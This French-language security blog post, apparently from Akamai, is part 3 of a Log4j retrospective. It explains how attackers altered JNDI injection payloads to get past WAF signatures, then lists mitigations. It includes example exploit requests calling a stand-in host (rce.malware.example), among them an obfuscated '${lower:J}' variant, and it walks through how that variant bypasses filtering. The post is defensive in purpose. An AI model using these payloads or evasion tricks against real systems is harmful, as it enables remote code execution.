Rétrospective de Log4j, partie 3 : l'évolution — charges utiles et diversification des attaques
Dans la partie 2 de cette série, je vous ai présenté les exploits d'exfiltration de données et d'exécution de code à distance, ainsi que la surface de la menace. Dans cet article, je parlerai de nos découvertes en matière d'évolution des attaques au fur et à mesure de nos recherches. (Par exemple, en décembre 2021, Hideki Okamoto, qui travaille pour Akamai a découvert une nouvelle vulnérabilité.) Dans le cadre de la surveillance continue de la situation et de la mise en place de protections pour ses clients, Akamai a constaté une évolution de la menace dans deux directions distinctes.. La première concerne les charges utiles.
Les entreprises s'appuient de plus en plus sur des mesures d'atténuation telles que les Web Application Firewalls, ou WAF, pour les protéger. Ces systèmes recherchent la présence de chaînes exploitables dans les requêtes Web et abandonnent celles qu'ils trouvent. Un exemple très simple et astucieux pourrait être de supprimer toute requête Web contenant les sept caractères suivants lorsqu'ils sont adjacents les uns aux autres :
${jndi:
L'exemple suivant, basé sur le Web, serait ainsi abandonné, car la signature mise en évidence dans la demande aurait été repérée :
GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Hôte : www.webapp.example
À première vue, cela semble être une bonne signature à rechercher, mais gardons à l'esprit que Log4j permet des constructions incroyablement complexes et imbriquées. Pour contourner cette situation, les attaquants peuvent modifier l'attaque pour qu'elle ressemble à ce qui suit :
GET /${${lower:J}ndi:ldap://rce.malware.example/a} HTTP/1.1
Hôte : www.webapp.example
Dans cet exemple, les sept caractères spéciaux adjacents mentionnés précédemment — ${jndi: — ne sont plus présents et, par conséquent, la signature du WAF contributive serait contournée avec succès.
Examinons ce que Log4j ferait après avoir reçu le chemin : /${${lower:J}ndi:ldap://rce.malware.example/a} pour la connexion.
Tout d'abord, il élargirait l'expression de recherche de ${lower:J} à j, ce qui produirait la chaîne provisoire suivante :
/${jndi:ldap://rce.malware.example/a}
Ensuite, en voyant l'expression de recherche JNDI de ${jndi:ldap://rce.malware.example/a}, Log4j transmettrait la pseudo-URL LDAP ldap://rce.malware.example/a dans JNDI, ce qui conduirait à l'exploit détaillé précédemment.
Ce procédé résulterait en un jeu du chat et de la souris dans lequel les attaquants utilisent une construction de charges utiles jusqu'à ce qu'ils soient finalement bloqués. À ce stade, ils modifieraient la charge utile pour tenter à nouveau de contourner les contrôles de signature, jusqu'à ce qu'ils soient à nouveau repérés, et ainsi de suite.
Chez Akamai, nous avons constaté des tentatives de contournement des contrôles par le biais d'une manipulation des chaînes de données utiles similaire et bien plus avancée que celle décrite ci-dessus, ainsi que par des approches moins évidentes telles que des codages de contenu créatifs, des codages de transfert, des ensembles de caractères, etc.
La deuxième évolution quant à elle concerne la diversification des cibles et des protocoles d'attaque. Comme indiqué dans la partie 2, les applications Web sont actuellement le principal vecteur d'attaque, mais nous constatons aussi une augmentation des tentatives visant le DNS et d'autres protocoles moins évidents, car le vecteur Web bénéficie de plus de protections et les correctifs se multiplient.
Solutions et atténuations
Compte tenu de l'ampleur des différents vecteurs d'attaque pouvant être utilisés contre cette vulnérabilité, la seule véritable solution consiste à appliquer des correctifs à tous les systèmes vulnérables. Cependant, comme mentionné précédemment, certains systèmes ne peuvent pas faire l'objet de correctifs, car il s'agit de systèmes intégrés sans méthode de mise à jour ou d'applications commerciales prêtes à l'emploi pour lesquelles les délais du fournisseur sont parfois moins rapides que prévu.
Pour compliquer davantage les mesures d'atténuation, de nombreuses entreprises ne disposent pas encore de la visibilité complète nécessaire dans leurs environnements pour savoir exactement quels systèmes sont vulnérables.
Nous avons abordé les mesures d'atténuation dans un précédent article sur le blog d'Akamai ainsi que sur le blog de notre équipe Guardicore.. Pour rappel, Akamai recommande d'effectuer les actions suivantes :
1. Si vos systèmes peuvent être corrigés, faites-le immédiatement.
C'est la meilleure façon de vous protéger. Assurez-vous que Log4j exécute la dernière version (2.17.0 au moment de la rédaction de ce document).
2. Pour les systèmes identifiés comme vulnérables, mais pour lesquels vous devez attendre la mise à niveau de Log4j, diminuez votre surface de menace avec les paramètres suivants lorsque cela est possible :
Pour les versions de Log4j ≥ 2.10, passer « -Dlog4j2.formatMsgNoLookups=true » dans l'application au démarrage, ce qui désactivera les expressions de recherche.
Pour Java, assurez-vous que les paramètres suivants sont définis dans vos systèmes :
com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.rmi.object.trustURLCodebase=false
3. Exécutez un WAF, comme la solution Kona d'Akamai, leader sur le marché, avant toutes vos applications Web pour aider à filtrer les tentatives d'attaques.
Cette opération doit être effectuée pour les serveurs internes et externes.
4. Exécutez un pare-feu DNS, tel que Secure Internet Access Enterprise d'Akamai, pour obtenir une visibilité sur les charges utiles DNS suspectes qui traversent votre environnement et les bloquer.
5. Exécutez un outil pour obtenir une visibilité complète sur tout ce qui s'exécute dans votre environnement, qu'il s'agisse de logiciels natifs ou du cloud.
Utilisez des outils, tels que ceux fournis par Akamai Guardicore Segmentation, pour vous offrir une visibilité sur tout ce qui s'exécute dans votre environnement. Utilisez ces outils pour localiser les applications dont vous ignorez peut-être la vulnérabilité.
6. Réduisez les communications pour les applications affectées.
Utilisez la segmentation basée sur l'identité, telle que celle fournie par Akamai Guardicore Segmentation, pour limiter les communications des systèmes vulnérables.
Ce qui nous attend
Ces stratégies d'atténuation peuvent réduire considérablement le risque pour les systèmes vulnérables en attendant qu'une stratégie de correction soit élaborée et exécutée. Notre rétrospective est presque terminée. Jusqu'à présent, nous avons abordé le contexte, les exploits et les mesures d'atténuation applicables à la vulnérabilité de Log4j. Dans la partie 4, nous conclurons par un résumé des leçons apprises. Restez à l'écoute.
